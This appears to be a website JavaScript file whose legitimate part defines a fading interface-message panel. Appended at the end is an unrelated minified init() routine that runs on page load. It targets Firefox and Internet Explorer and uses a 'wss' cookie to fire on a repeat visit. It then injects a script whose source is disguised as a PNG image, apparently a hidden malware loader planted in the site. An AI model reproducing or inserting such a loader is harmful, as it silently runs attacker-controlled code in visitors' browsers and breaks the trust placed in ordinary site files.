

function stlInterfaceMessages_AllImprov()
{
	var that = this;
	
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	//
	// Inheritance: stlDhtmlxCommon
	//
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	this.inheritFrom_stlDhtmlxCommon = stlDhtmlxCommon;
	this.inheritFrom_stlDhtmlxCommon();
	
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	//
	// Function:	show()
	//
	// Description:	Shows the interface messages
	//
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	this.show = function(speed, fraction)
	{
		if(speed == undefined)
			speed = 15;
		if(fraction == undefined)
			fraction = 0.95;

		var currentFaderIndex = this.arrFaderIndex;

		this.arrFaders[currentFaderIndex] = new stlElementFader_PushDown("messages");
		this.arrFaders[currentFaderIndex].speed = speed;
		this.arrFaders[currentFaderIndex].fraction = fraction;
		this.arrFaders[currentFaderIndex].ondone = function() { that.arrFaders[currentFaderIndex] = null; };
		this.arrFaders[currentFaderIndex].fade();
		this.arrFaderIndex++;

		window.clearTimeout(this.autocloseTimer);
		this.autoCloseTimer = window.setTimeout(function() { that.hide(20, 0.95); }, 6000);	
	}

	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	//
	// Function:	hide()
	//
	// Description:	Hides the interface messages
	//
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	this.hide = function(speed, fraction)
	{
		window.clearTimeout(this.autocloseTimer);

		if(speed == undefined)
			speed = 15;
		if(fraction == undefined)
			fraction = 0.95;

		var currentFaderIndex = this.arrFaderIndex;

		this.arrFaders[currentFaderIndex] = new stlElementFader_PushUp("messages");
		this.arrFaders[currentFaderIndex].speed = speed;
		this.arrFaders[currentFaderIndex].fraction = fraction;
		this.arrFaders[currentFaderIndex].ondone = function() { that.arrFaders[currentFaderIndex] = null; that.elMessages.innerHTML = ""; };
		this.arrFaders[currentFaderIndex].fade();
		this.arrFaderIndex++;
	}
	
	this.add = function(msg)
	{
		this.elMessages.innerHTML += "<p>" + msg + "</p>";
		this.show();
	}
	
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	//
	// Function:	Constructor
	//
	/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
		this.autocloseTimer = null;
		this.elMessages = document.getElementById("messages_list");
		this.arrFaders = new Array();
		this.arrFaderIndex = 0;
		this.autoCloseTimer = null;
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/pages/common/images/menu/nl/normal/requestdonation.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
